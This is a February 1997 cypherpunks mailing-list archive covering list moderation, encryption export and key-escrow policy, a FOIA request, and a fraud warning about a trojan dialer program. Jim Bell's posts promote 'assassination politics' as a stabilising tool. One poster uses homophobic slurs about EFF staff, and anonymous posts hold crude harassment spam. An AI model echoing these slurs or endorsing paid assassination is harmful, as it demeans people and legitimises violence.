5 Feb 1997, Name Withheld by Request wrote: > > John Gilmore said: > > >Perhaps at that point I should have shut down the list, as Lucky is > > >now suggesting. "Asking the list what to do" was clearly not a useful > > >option. Sandy cared enough about the community to make some concrete > > Not a useful option? Why not? If there aren't any ideas left in this > > community, I'm with Lucky. Pull the plug. On the below: Remember in "I, Mudd" where the Captain said to Rodney the Robot: "I'm lying - everything I say is a lie". And the robot collapses because it is not programmed to handle such blatant acts of sabotage of reality. Humans OTOH, and particular those who do odd jobs for the CIA (you know, the ones who make those little "excursions" to Nepal and Burma), have no problem with this, since their reality doesn't even intersect with that of typical mailing list readers. What is Tim May really mad about? What he says he's mad about? I don't think so. The scam ran past him and he fell off of the truck. Tsk tsk. > I've been meaning to ask this for a while...but why *don't* we just pull > the plug, at least for just a few days? > Unsubscribe everyone from all the lists, wait a bit, and then send a > message to all of the subscribers with full info on each of the lists > (cp, cp-unedited,cp-flames) and see what happens when they resubscribe. > I bet that most of the people who don't post and don't care one way or > the other wouldn't bother to resubscribe, so we'd have a higher ratio of > people who mind if the list is moderated vs. those who'd be happy either From jimbell at pacifier.com Tue Feb 4 23:44:26 1997 From: jimbell at pacifier.com (jim bell) Date: Tue, 4 Feb 1997 23:44:26 -0800 (PST) Subject: New X-Ray Imager Message-ID: <199702050744.XAA24932@mail.pacifier.com> At 01:18 AM 2/4/97 -0800, Dale Thorn wrote: >Steve Schear wrote: >> New X-ray gun trades privacy for safety >> Reported by Andy C >> Seen in The Nando Times on 13 August 1996 >> "I'm incredibly concerned," said John Henry Hingson, a past president of the >> National Association of Criminal Defense Lawyers, meeting here this past >> week. "The entire nation could become a victim of illegal searches and >> seizures and the law is powerless to protect them from these police abuses." >> But in these nervous times following the the crash of TWA Fight 800 and >> bombings at the Olympics, Oklahoma City and the World Trade Center, many >> Americans are now willing to trade some of their privacy and civil liberties >> for greater security. >> A poll last week by the Los Angeles Times found that a majority of people -- >> 58 percent -- said they would curtail some civil liberties if it would help >> thwart terrorism. Thirteen percent said it would depend on what rights were >> at stake. The poll didn't ask people to single out any rights. > >The L.A. Times quotes this "poll" all the time, and in fact probably >just made it up. Why do I know that? Because they ran a "letter" >from a "teacher" in the valley somewhere about a year ago which said >exactly this same thing. The "teacher" ran a poll of her students >and they agreed to give up the rights without even knowing which >rights they were giving up. Wouldn't it be nice if, in a new poll, they asked the following question: "Do you believe that the people who ask you, in other polls, whether or not 'you'd be willing to give up a little freedom to thwart terrorism' have any proof it's possible to, in the long run, 'thwart terrorism' by sacrificing freedom?" Jim Bell jimbell at pacifier.com From jimbell at pacifier.com Tue Feb 4 23:44:29 1997 From: jimbell at pacifier.com (jim bell) Date: Tue, 4 Feb 1997 23:44:29 -0800 (PST) Subject: John's: In anarchy -everyone responsible Message-ID: <199702050744.XAA24946@mail.pacifier.com> At 09:05 PM 2/4/97 +0000, Attila T. Hun wrote: >on or about 970204:0312 Greg Broiles said: >+ Is the desire for an anarchic community at odds with a desire for >+ good use of resources? Actually, it is quite possible that an "anarchic community" is _more_ efficient in the use of resources than some sort of organized community. It is explained, for example, that the reason there are so many different kinds of life on earth is that there are so many ecological niches to fill. > In a "popular" anarchy, Jim Bell's assassination politics make > perfectly good sense; but, a "popular" anarchy is not an _anarchy_. I guess I don't understand the distinction you are trying to make, between a "popular anarchy" and an "anarchy." Maybe you were trying to distinguish between "dictatorship of the few (or one)" and "dictatorship of the many (perhaps a majority)" but it didn't come out very understandably. Put simply, "anarchy is not the lack of order. It is the lack of _orders_." > anarchy is only possible in an ideal world where _everyone_ > assumes not only responsibility for themselves, but for the common > good. no malice, no greed, no need for assassination politics.... No, that's traditional thinking and that's wrong. See AP part 8. Freud believed (as "everyone" else believed, even myself, before AP) that anarchy was inherently unstable. But it ISN'T, if the tools of AP are used to stabilize it. And no, no altruism is necessary for AP to work as well; no individuals are being asked to sacrifice themselves for the common good. Rather, they are given the opportunity to work to achieve a reward offered, cumulatively, by a number of citizens. Jim Bell jimbell at pacifier.com From gbroiles at netbox.com Wed Feb 5 00:34:14 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Wed, 5 Feb 1997 00:34:14 -0800 (PST) Subject: Cypherpunks FOIA request Message-ID: <3.0.1.32.19970205004017.00728178@ricochet.net> -----BEGIN PGP SIGNED MESSAGE----- On 1/18/97, I sent freedom of information act requests to the FBI (main and San Francisco offices), CIA, NSA, and Secret Service, asking them for copies of information in their files relating to or referring to the cypherpunks list, the cypherpunks meetings, and copies of any messages sent from or to "cypherpunks at toad.com". To date, I have received three responses: one from the SF office of the FBI, indicating that they have no records responsive to my request; one from the NSA, indicating that they are processing my request, and one from the Secret Service, asking for a copy of my signature. (I've got no clue why they want that; unless I screwed up, I believe my initial request was signed.) Copies of my requests and the responses are available online at . I'm not sure what I think about the response from the SF FBI branch - it seems unlikely that they'd never have paid any attention to the list, given the media coverage in Wired and other places. On the other hand, maybe the FBI doesn't read Wired. :) While they're not supposed to be monitoring noncriminal domestic activity, I figured they'd at least have something about the Mykotronix stuff. -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBMvhHPf37pMWUJFlhAQGBSAf/XIdNAMrxn3flb6O7Q1TZYL1xd/RHAAZv YsuuXs/n6Dih/SnJVqc35tF5/33N0gK0xWhyPCBWdIitVCgHpt+214WEOg3IWBqO KGcnbXg/YMs4xN50zLgpV+Xoim4rjfwCROqNNWvrBqwo6RicAyJbLRoRGE+KdDkx WSslCzxsVYzRHzzkF48rhbYAXqU2vUesG0t8Alg17R/2w4TvjAzlQ3PpclUukB8U VglMVB+dicn+5B2zITt1WG21xMmSHQea5rpwKpDxZdjBvBKXLhgH8L1Hdl6nu3zI sqDEENxeV+bI5UdSzemQDy+TDQoy7BSN7Tby8JgwXE9x3AitY2A05g== =S1Zy -----END PGP SIGNATURE----- -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From aga at dhp.com Wed Feb 5 00:50:23 1997 From: aga at dhp.com (aga) Date: Wed, 5 Feb 1997 00:50:23 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" In-Reply-To: <199702042210.OAA22704@kachina.jetcafe.org> Message-ID: On Tue, 4 Feb 1997, Dave Hayes wrote: > Steve Boursey writes: > > Well EFF itself is a lie--the were very well exposed by Wired Mag. a > > while back as being nothing more than a corporate whore. They represent > > the interests of owners not consumers--the ACLU has been very open > > in their critisism of the EFF in this regard. A large corporation > > waves some money in front of their noses and tells them to bend > > over you can be sure they'll bend over. > Actually, the EFF is meaningless, and not worth discussing. It was just a bunch of hippy faggots that got financed by the greatfull dead, and since the greatfull dead died, the EFF should just also die. I mean come ON, with queers at the organization, NOBODY is going to give it any credibility. > It's not clear from where I sit that the EFF is intrinsically evil. A But it has John Gilmore there, and he is the evil censor. > case can be argued for their initial good intentions followed by the > subsequent poisoning of this intent by people with lots of money. Of > course, -any- organization is as susceptable to infiltration as their > weakest member. > > > Respectable free speech advocates do not associate with EFF. > > If one is going to advocate free speech, I strongly suggest one > learns to deal with one's own greed and one's own need for power > first. Greed and avarice may be bad, but wealth and control are good. The power must always go to those who do not "need" it but who know how to use it. Not everybody is qualified to carry a gun. From WlkngOwl at unix.asb.com Wed Feb 5 02:16:51 1997 From: WlkngOwl at unix.asb.com (Robert Rothenburg 'Walking-Owl') Date: Wed, 5 Feb 1997 02:16:51 -0800 (PST) Subject: Letter Re: Kahn Supporting GAK Message-ID: <199702051015.FAA26085@unix.asb.com> -----BEGIN PGP SIGNED MESSAGE----- My letter to Long Island Newsday regarding David Kahn's pro-GAK editorial was published today. You can read it at http://www.newsday.com/mainnews/rnmi052u.htm What's odd (?) is how they editied it. I directed my comments toward Mr. Kahn's views, which they changed to "Newsday" (odd, since I've never seen them print an editorial one way or another on GAK; does this mean they are taking a stand? -- Kahn is an editor at Newsday). I wrote "The greatest flaw in the argument is it's very reason, 'criminals... are increasingly using encryption to conceal their plans and activities'" which they changed to "It reports...". I never considered an op-ed piece as "reporting", even if it states a fact. The following paragraph There are also a variety of technical problems associated with escrowing encryption keys, mainly, how to do so securely? A single `backdoor key' (or set of keys) for a popular product can become an easy target for crackers who can jeopardize the security of an entire system. Software can be easily hacked to disable or damage the key escrow features, and there are techniques to hide even the presence of a message in something innocuous as a digitized image. (Mr. Kahn seems to have forgotten to mention that the FBI not only wants to overhear cellular phone conversations but also read E-mail and any other encrypted files people have.) was changed to just There are also several technical problems associated with escrowing encryption keys, mainly, how to do so securely. They did leave the last two paragraphs relatively intact, though. Yeah, yeah... the piece could have been much longer & detailed, but it's only a letter to the editor... - --Rob -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBMvhdzgTNlSxdPy6ZAQEw8Qf9FnDSSd/m+XwUxU1CCJnwVOrvS4qyIubX 2E18o2rrS+F8TDjkhVsaDR3lJNqikdOzAL2GfjX53/cBEOhYcYcip7IHkd8UxqY6 zDHp2LwWnSuF8wwxeKw/DyPhAURsxYAl+LCJbsJjK+zxpgPU1Z0YzFkj3Am6bscv t8qiPoTxUF3tusueT5I3xQsRgEAx1SNwRHgQGzLS+zPwdFBT9ZsIsp4EbZ0fx1cE ZpbIxu1koDCWhkmJdTiL5HXXJ6mROJvCIGHfr1NU099AlIOO/FXq2UTnti2TzQn7 wYF73490ru1AFMEViLipj3zXzJsIGBo32La37yDozBEItd32B0L/+w== =3wRg -----END PGP SIGNATURE----- ----- "The word to kill ain't dirty | Robert Rothenburg (WlkngOwl at unix.asb.com) I used it in the last line | http://www.asb.com/usr/wlkngowl/ but use a short word for lovin' | Se habla PGP: Reply with the subject and dad you wind up doin' time." | 'send pgp-key' for my public key. From nobody at zifi.genetics.utah.edu Wed Feb 5 02:31:35 1997 From: nobody at zifi.genetics.utah.edu (Anonymous) Date: Wed, 5 Feb 1997 02:31:35 -0800 (PST) Subject: Newt's phone calls Message-ID: <199702051031.DAA06419@zifi.genetics.utah.edu> Dr.Dimwit L)amentation( Vehement K)retin(OTM enjoys sucking the puss from his syphilitic homosexual friends. /\_./o__ Dr.Dimwit L)amentation( Vehement K)retin(OTM (/^/(_^^' ._.(_.)_ From nobody at zifi.genetics.utah.edu Wed Feb 5 02:50:31 1997 From: nobody at zifi.genetics.utah.edu (Anonymous) Date: Wed, 5 Feb 1997 02:50:31 -0800 (PST) Subject: [ADMINISTRIVIUM] Extradition treaties Message-ID: <199702051050.DAA06534@zifi.genetics.utah.edu> Drunkard Vilest K>raprap----|-|-|-|-|-|-|--| __/ | / / / / / / / / |__\ |/ / / / / / / / From stewarts at ix.netcom.com Wed Feb 5 02:53:32 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Wed, 5 Feb 1997 02:53:32 -0800 (PST) Subject: More on Cellular Encryption Docs In-Reply-To: <199702050458.UAA05351@mail.pacifier.com> Message-ID: <3.0.1.32.19970205003904.005ad4f8@popd.ix.netcom.com> >>>Here's more on the controlled documents for cellular encryption >>>from TIA/EIA we described in a 26 January post to cpunks: ... >>Of course, ITAR as recently modified says it's ok to send this >>stuff overseas to foreigners, as long as it's on paper. >>There may be separate restrictions on sending it, or on copying, >>but they're based on copyright or contractual non-disclosure. > >Given that high-density inkjet printers can do 600x600 dpi resolution, it >should be possible to achieve the equivalent of 100x100 bpi of >easily-recoverable data on ordinary paper. That's about 800 kilobits, or >100 kilobytes. What does ITAR say about this? These are text, perhaps with occasional illustrations, so the current interim export rules say it's ok. For optically-scannable printed data, the government's announcement says it reserves (somehow) its right (acquired in unspecified manner :-) to re-evaluate the exportability at a later time. I think they haven't settled on whether they'd be more embarassed by banning it (which bans export of printed material, risking serious Constitutional challenges) or by not banning it (having people laugh at them while exporting source code or even binaries in OCR-A on loose-leaf paper with page numbers and checksums.) Of course, by moving crypto off the Munitions List, and allowing export of printed material, they're also reducing their exposure to ridicule for not responding to Raph's T-shirt CJ request.... (huh-huh... made you say Unconstitutional ... huh-huh....) # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From das at sgi.com Wed Feb 5 03:32:45 1997 From: das at sgi.com (Anil Das) Date: Wed, 5 Feb 1997 03:32:45 -0800 (PST) Subject: AltaVista Tunnel In-Reply-To: <5d7v6a$baq@fido.asd.sgi.com> Message-ID: <32F87394.167E@sgi.com> Rick Osborne wrote: > > He triumphantly exclaimed that the encryption was 128-bit, but when > I said "128-bit what?" he cowered and muttered that he didn't know and went > on with his little speech. The rest of my crypto-specific questions met > with equal dark stares. And these are the people setting industry standards... I should be happy that you are bashing a competitor and all, but give them a break, OK? The marketing dweeb who has to do product pitches on roadshows is not the same as the design engineer who designs the system and sets technical standards. There can be a big difference in technical knowledge about the product, and even basic competency, between the two. -- Anil Das From stewarts at ix.netcom.com Wed Feb 5 03:36:13 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Wed, 5 Feb 1997 03:36:13 -0800 (PST) Subject: Silly Americans In-Reply-To: <199702050726.XAA18078@toad.com> Message-ID: <3.0.1.32.19970205033339.00601e40@popd.ix.netcom.com> At 09:37 PM 2/4/97 -0500, Rick Osborne wrote: >The original poster was talking about the UniSys GIF >patent, and this was the reply: > >>Broaden your view. I can do anything I want with the GIF format >>without asking _anyone_, and so can almost everyone in the world - >> except those poor americans who chose to live under a "broken" >>patent law which allows protecting _algorithms_. Totally silly. Not true, of course - other countries also have broken patent laws that permit patenting algorithms. For instance, IDEA is patented in places besides the US. The differences in the US are that perhaps our patent people became stupid earlier, and that US patent law allows you to apply for a patent up to one year after publishing, while European patent laws don't let you patent anything that's been disclosed to the public. >a philosophical note, why *do* we allow the government to regulate >algorithms? (Implementations, I can understand, but *algorithms*?) Because they're bigger than we are and better-armed? Because there's lots of money to be made by people patenting things? Because big companies can use it to interfere with competition? Because it's good for the economy because it encourages inventors of algorithms to publish them and make money by doing so? (I'll take the first three of those arguments :-) # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From jya at pipeline.com Wed Feb 5 05:23:49 1997 From: jya at pipeline.com (John Young) Date: Wed, 5 Feb 1997 05:23:49 -0800 (PST) Subject: OECD Waffles Message-ID: <1.5.4.32.19970205131807.006cd434@pop.pipeline.com> 2-4-97. Reuters: Global group fails to endorse Clinton encryption plan Washington: An influential economic research group is preparing guidelines on computer encryption for its member countries but will duck some of the most contentious issues involved, according to a draft obtained by Reuters. The Clinton administration, seeking to rally support for its controversial policy on exporting encryption products -- which encode and decode e-mail and other computerized messages -- failed to win an endorsement from the Organisation for Economic Cooperation and Development (OECD), although the group did discuss the administration's approach. On perhaps the most difficult issue, the draft guidelines do not favour or oppose a requirement in the U.S. policy that data-scrambling encryption programmes provide a way for law enforcement officials to obtain keys to crack the codes when necessary. After indicating that governments should carefully weigh the costs and benefits of imposing so-called key recovery, the draft report said, "this principle should not be interpreted as implying that governments should, or should not, initiate legislation that would allow lawful access." On all the controversial areas in the draft, "the member countries of the OECD have strongly held views but they don't always coincide," John Dryden, head of the group's Information, Computer and Communications Policy division, said in a telephone interview from Paris. Some countries see widespread use of encryption as a way to protect the privacy of computer users and businesses, thereby encouraging global commerce, Dryden said. But others see encryption as possibly thwarting law enforcement's efforts to catch riminals and global terrorists, he said. The guidelines suggest encryption users should have access to products that meet their needs. Government controls should be "no more than are essential to the discharge of government responsibilities." Instead of reconciling the different views, the draft guidelines lay out competing interests and approaches. "It's not in itself a cryptography policy and it's not an attempt to draft a model national law that we're encouraging people to adopt," Dryden said. Cryptography refers to products and systems used in encryption. The guidelines also suggest encryption standards and usage should be "determined by the market in an open and competitive environment." "There's a strong view that the private sector should have the possibility to use information networks to the best of their potential in order to create growth and jobs," Dryden said. U.S. officials who have seen the preliminary draft praised the guidelines. "They're an important and helpful step forward," Undersecretary of Commerce William Reinsch said. "They're helpful because they put down on paper the proper foundation for getting into this," he added. Reinsch said most countries will follow the U.S. lead and require so-called key recovery features for law enforcement. Under the Clinton policy, domestic use of encryption is not regulated but the strongest coding products cannot be exported unless they include key recovery. U.S. companies that have opposed the Clinton policy, contending it stifles their ability to compete with unfettered foreign firms, drew little solace from the draft guidelines. "This is not helpful," said Netscape Communications Corp.'s public policy counsel, Peter Harter. Netscape and other companies preferred stronger language endorsing free-market policies, he said. The draft guidelines, approved by a group of government and private-sector experts at a meeting at the end of January, still must be approved by a top-level OECD officials from the group's 29 member countries, including the United States. ----- From jya at pipeline.com Wed Feb 5 05:34:38 1997 From: jya at pipeline.com (John Young) Date: Wed, 5 Feb 1997 05:34:38 -0800 (PST) Subject: 'Total Recall' Come True! Message-ID: <1.5.4.32.19970205132857.006d9388@pop.pipeline.com> Major Organizations Are Experimenting With Computer Chip Implants in Humans, According to EE Times Special Report Manhasset, N.Y., Feb. 4 -- The implantation of computer chips into humans and animals is now actively being funded, researched and experimented by major institutions such as Stanford University, British Telecom, the National Institute of Health (NIH) and major corporations, according to the first of a two-part special report published by EE Times (http://www.eet.com). Although the work is drawing fire from civil libertarians and conspiracy theorists, among others, many scientists and physicians defend the work for its potential to ease suffering. "It's 'Total Recall' come true! Our in-depth look into this state-of- the- art research reveals that the mix of electrical engineering and medical technologies to surgically implant computer chip-driven devices is here today -- a micro chip implant is simply one step beyond a pacemaker," said EE Times Internet Editor Larry Lange. According to the EE Times report, Mitsubishi Electric Corp. (Tokyo) recently developed a low-cost input device that can recognize human movement and convert it to commands for use in software applications. This device is expected to find its way into tools used by people with disabilities. On other fronts, the semiconductor research lab at Motorola Inc. is working on body-embedded electronic blood-sensors that may one day allow diabetics to measure their blood sugar levels without ever drawing a drop of blood. The special report, appearing in next week issue in print and online, looks at additional areas of research and the differing reactions to it. ----- From rah at shipwright.com Wed Feb 5 05:44:12 1997 From: rah at shipwright.com (Robert Hettinga) Date: Wed, 5 Feb 1997 05:44:12 -0800 (PST) Subject: NFIC Warning About Sexygirls web site Message-ID: I had to laugh when I read this... Cheers, Bob Hettinga --- begin forwarded text X-Sender: themet at pop.mindspring.com Mime-Version: 1.0 Date: Wed, 5 Feb 1997 01:50:36 -0800 To: fraudnews at silverquick.com From: Mark Taylor Subject: NFIC Warning About Sexygirls web site Reply to: Mark Taylor Here is an interesting twist on how some crafty scamsters can rack up money on your phone bill =========== National Fraud Information Center Monday, February 4, 1997 PORNO SURPRISE Consumers who visited a pornographic website (www.sexygirls.com) last month got a big surprise on their phone bills. After a few teaser pictures, surfer was told he/she needed to download a special program to view the archived images. That program was actually a viewer with an entire communications suite hidden deep inside (a non-self propogating Trojan Horse). The program disconnected user from his/her ISPs, shut off the volume on the modem if it was computer controlled, and dialed a number in Moldova -- a small, former republic of the Soviet Union wedged in between the Ukraine and Romania. All the while the consumer was on the website, and even if he/she then browsed other sites on the World Wide Web, the Internet access was being provided through the Moldova number, resulting in huge international phone charges! Consumers didn't know that until their phone bills arrived. According to the Toronto Star Business Reporter, there are Canadian reports of bills into the thousands. The Toronto star also reports that the Royal Canadian Mounted Police has requested all calls from Canada to that number in Moldova be blocked. Bell Canada is attempting to provide relief for Canadian consumers. US consumers should contact their long distance providers if they find these unexpected charges on their bill. The RCMP has also required the owners of sexygirls.com to place a disclaimer on the site, alerting consumers to the presence of the communications software in the viewer. The disclaimer also tells consumers how to disconnect if they do not wish to use the server in Moldava. In November, Internet Fraud Watch warned consumers concerning the possible dangers of downloading programs over the Internet. Some tips: Don't download unnecessary items. If it's just a piece of razzle-dazzle, don't bother. It will only take up space on your hard drive and perform no useful function. If there's no gain for you from the program, there's no reason to take a risk. Only download from sites you know and trust. While even a major corporations site can sometimes have a viral infection, a lone programmer might be using an attractive piece of code as a delivery vehicle for his pet virus. Don't download material directly onto a computer network at work. First download it onto a stand alone PC. Test it out. Make sure it doesn't have any malicious side-effects. Check that machine for known viruses. Only at that point should you install the downloaded program on a networked machine. If you feel you must download files, keep track of what files you have on your system and what files are created during a program installation. That way you can easily uninstall any program if you find it to be undesirable. This also helps in detecting new installed files that aren't supposed to be there. Remember, your main worry is an executable file (i.e. a program or application). Despite what you hear all over the Internet, you cannot get a virus from a piece of e-mail. If you are having a problem with calls to Moldova, the connection will only be made if you attempt to use the viewer. If you try to use the viewer, shut down your machine after you are finished at that site. If you wish to remove the viewer altogether, the file name is david.exe (for IBM users). If you are in Windows, it should be in your program folder. FraudNews is owned and published by : Mark Taylor: themet at mindspring.com All material published is copyright.It must not be reproduced in any form without the express permission of of the owner. ============================================================= This Newsletter is broadcast using the List and Newsletter Management facilities of Silverquick Communications You may subscribe to FraudNews and the Fraud-Discuss lists on the web pages at : http://www.silverquick.com ============================================================= --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From matts at cyberpass.net Wed Feb 5 05:53:36 1997 From: matts at cyberpass.net (Matts Kallioniemi) Date: Wed, 5 Feb 1997 05:53:36 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" In-Reply-To: <199702050742.XAA18657@toad.com> Message-ID: <3.0.1.32.19970205142023.00922350@localhost> -----BEGIN PGP SIGNED MESSAGE----- Jeremiah A Blatz wrote: >On the choke points note, mailing lists are better than usenet because >legendary AOLers with there 5 free hours of fame and their ilk usually >don't figure out how to pester mailing lists. Being on a mailing list >usually requires a commitment, that is enough of a barrier for many of >the usenet underirables. Another way to get rid of the totally clueless and involuntary subscribers would be to require subscription requests to be PGP signed and acknowledged by the subscriber. Matts -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBMviI5xVFhWUyiUQRAQFdEwf/ZI2WW/2OVKq4xdwmsPNzCP3yJj7NfsOP JSBegY21WX/Oa+gT/Zmo5lrOh9wWQlF2OpFlzggvBef1Vm5qidge5dRqSxmUPipc 5/HZFK1KxQI5uLjC7pZo5pMfjIroPYI4pldfYP2fjn3qo82sg8IWEn1FSH3b5iEE qrL71rWmG3ekx7qDMvZPGKrjwi7XNJlKUT7qIjQaR25sg3U4KsntV5FZ+Iof6FRz cFX0G2bQ5r1tE/QIqrMm94cD27KNFshSArBFgTqNqqCJtym2v+oOtiCpm8uqirlB oREDHaIs7pJyUA3VkdQnVwKbN+c/Ln9nBAZ9V0BGBg4rZMp/rDRo+Q== =YOIl -----END PGP SIGNATURE----- From jlv at sig.bsh.com Wed Feb 5 06:35:09 1997 From: jlv at sig.bsh.com (Jason Vagner) Date: Wed, 5 Feb 1997 06:35:09 -0800 (PST) Subject: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?! In-Reply-To: <199702050726.XAA18124@toad.com> Message-ID: >Re: the below. Easily the best and most intelligent suggestion so >far. Why couldn't Sandy and John with all their experience think >of this? Actually, I've been sitting on the sidelines, somewhat bemused, that this far into online living the cypherpunks have to rehash this themselves. I've seen this entire exchange at least three times in the last two years. None of the lists survived. Good luck.. >> If I might make a suggestion: >> Some people want moderation. That's fine, I've never been very big on >> letting other people choose what I read, but some people want it. >> For those who want it, let someone moderate the list for as long as >> they care to do it. Approved messages get a "X-sandy-approved" >> header. The responsibility for setting up a filter to toss everything >> that doesn't have the header is the responsibility of the end user. >> Toad will need to filter incoming posts to make sure they don't come >> "pre-approved", but that's the only hole I can think of. >> Everyone gets all of the Cypherpunks list. Those who want moderation >> filter the unapproved posts, those who want all of it get all of it. >> Hopefully, this will make (almost) everyone happy. --- Jason Vagner Resist KRAP and GAK. Police States Are Bad. "All that one can give is what is going to happen, which may have little to do with a present that you can grasp." - Avital Ronell. From dthorn at gte.net Wed Feb 5 07:12:18 1997 From: dthorn at gte.net (Dale Thorn) Date: Wed, 5 Feb 1997 07:12:18 -0800 (PST) Subject: AltaVista Tunnel In-Reply-To: <5d7v6a$baq@fido.asd.sgi.com> Message-ID: <32F8A300.52A7@gte.net> Anil Das wrote: > Rick Osborne wrote: > > He triumphantly exclaimed that the encryption was 128-bit, but when > > I said "128-bit what?" he cowered and muttered that he didn't know and went > > on with his little speech. The rest of my crypto-specific questions met > > with equal dark stares. And these are the people setting industry standards... > I should be happy that you are bashing a competitor and all, but give > them a break, OK? The marketing dweeb who has to do product pitches > on roadshows is not the same as the design engineer who designs the > system and sets technical standards. There can be a big difference in > technical knowledge about the product, and even basic competency, > between the two. HP in their first 17 years of making personal computers always sent real engineers along with salespeople to their product rollouts. Starting in late 1983 with their first MS-DOS computer, they did a 180-degree and eliminated the engineers, and started sending people who knew nothing about HP products, which is bad in the sense that some folks wanted to know "Why should I buy HP when I can get the real thing, i.e. IBM"? As a sales manager, I always had a hard time with that one. I blame HP in retrospect, for a moron mentality in their marketing department. From nobody at zifi.genetics.utah.edu Wed Feb 5 07:25:46 1997 From: nobody at zifi.genetics.utah.edu (Anonymous) Date: Wed, 5 Feb 1997 07:25:46 -0800 (PST) Subject: Newt's phone calls Message-ID: <199702051525.HAA28689@toad.com> Dr.Dimwit L)amentation( Vehement K)retin(OTM enjoys sucking the puss from his syphilitic homosexual friends. /\_./o__ Dr.Dimwit L)amentation( Vehement K)retin(OTM (/^/(_^^' ._.(_.)_ From nobody at zifi.genetics.utah.edu Wed Feb 5 07:25:47 1997 From: nobody at zifi.genetics.utah.edu (Anonymous) Date: Wed, 5 Feb 1997 07:25:47 -0800 (PST) Subject: [ADMINISTRIVIUM] Extradition treaties Message-ID: <199702051525.HAA28690@toad.com> Drunkard Vilest K>raprap----|-|-|-|-|-|-|--| __/ | / / / / / / / / |__\ |/ / / / / / / / From das at sgi.com Wed Feb 5 07:25:52 1997 From: das at sgi.com (Anil Das) Date: Wed, 5 Feb 1997 07:25:52 -0800 (PST) Subject: AltaVista Tunnel Message-ID: <199702051525.HAA28716@toad.com> Rick Osborne wrote: > > He triumphantly exclaimed that the encryption was 128-bit, but when > I said "128-bit what?" he cowered and muttered that he didn't know and went > on with his little speech. The rest of my crypto-specific questions met > with equal dark stares. And these are the people setting industry standards... I should be happy that you are bashing a competitor and all, but give them a break, OK? The marketing dweeb who has to do product pitches on roadshows is not the same as the design engineer who designs the system and sets technical standards. There can be a big difference in technical knowledge about the product, and even basic competency, between the two. -- Anil Das From roy at sendai.scytale.com Wed Feb 5 07:25:56 1997 From: roy at sendai.scytale.com (Roy M. Silvernail) Date: Wed, 5 Feb 1997 07:25:56 -0800 (PST) Subject: Dissolving Choke Points Message-ID: <199702051525.HAA28728@toad.com> -----BEGIN PGP SIGNED MESSAGE----- In list.cypherpunks, gbroiles at netbox.com writes: > My mention of Usenet was somewhat tongue-in-cheek; I don't know if I'd bother > with the list if it were moved to (or gated with) Usenet, as Usenet has > become for the most part 100+ Mb/day of uselessness. An obvious point. But you go on to say... > The good side I see to a move to Usenet is that it lets people use the > comparatively better tools for managing messages [...] FWIW, I gate all my subscribed mailing lists to local newsgroups because my newsreading tools are much better than my mailreading tools. > The down side is that Usenet is more or less a sewer these days, and some of > it's bound to spill over. The unfiltered list already had spammers and flamers. Would you expect nore sewage, different sewage or a combination? - -- Roy M. Silvernail [ ] roy at scytale.com DNRC Minister Plenipotentiary of All Things Confusing, Software Division PGP Public Key fingerprint = 31 86 EC B9 DB 76 A7 54 13 0B 6A 6B CC 09 18 B6 Key available from pubkey at scytale.com, which works now -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMvgPUBvikii9febJAQElRwP+IC40bwrsV7w7NI0IMmdwGRPO8tHNo6qU pCb6i9UNSrtaFseZ6I04RIsy1mitoJbmDaoJqKcWz1smi4pr1Te/1QZDt8CLouP2 lXwZV9PojttoBbGlfrc1gY/ZEOnOtwwBemiMSiyIS0Md26f1VM9i1OMVR4RDpLY8 +VrFN9htVyc= =jMyg -----END PGP SIGNATURE----- From matts at cyberpass.net Wed Feb 5 07:26:02 1997 From: matts at cyberpass.net (Matts Kallioniemi) Date: Wed, 5 Feb 1997 07:26:02 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702051526.HAA28754@toad.com> -----BEGIN PGP SIGNED MESSAGE----- Jeremiah A Blatz wrote: >On the choke points note, mailing lists are better than usenet because >legendary AOLers with there 5 free hours of fame and their ilk usually >don't figure out how to pester mailing lists. Being on a mailing list >usually requires a commitment, that is enough of a barrier for many of >the usenet underirables. Another way to get rid of the totally clueless and involuntary subscribers would be to require subscription requests to be PGP signed and acknowledged by the subscriber. Matts -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBMviI5xVFhWUyiUQRAQFdEwf/ZI2WW/2OVKq4xdwmsPNzCP3yJj7NfsOP JSBegY21WX/Oa+gT/Zmo5lrOh9wWQlF2OpFlzggvBef1Vm5qidge5dRqSxmUPipc 5/HZFK1KxQI5uLjC7pZo5pMfjIroPYI4pldfYP2fjn3qo82sg8IWEn1FSH3b5iEE qrL71rWmG3ekx7qDMvZPGKrjwi7XNJlKUT7qIjQaR25sg3U4KsntV5FZ+Iof6FRz cFX0G2bQ5r1tE/QIqrMm94cD27KNFshSArBFgTqNqqCJtym2v+oOtiCpm8uqirlB oREDHaIs7pJyUA3VkdQnVwKbN+c/Ln9nBAZ9V0BGBg4rZMp/rDRo+Q== =YOIl -----END PGP SIGNATURE----- From jimbell at pacifier.com Wed Feb 5 07:26:07 1997 From: jimbell at pacifier.com (jim bell) Date: Wed, 5 Feb 1997 07:26:07 -0800 (PST) Subject: New X-Ray Imager Message-ID: <199702051526.HAA28766@toad.com> At 01:18 AM 2/4/97 -0800, Dale Thorn wrote: >Steve Schear wrote: >> New X-ray gun trades privacy for safety >> Reported by Andy C >> Seen in The 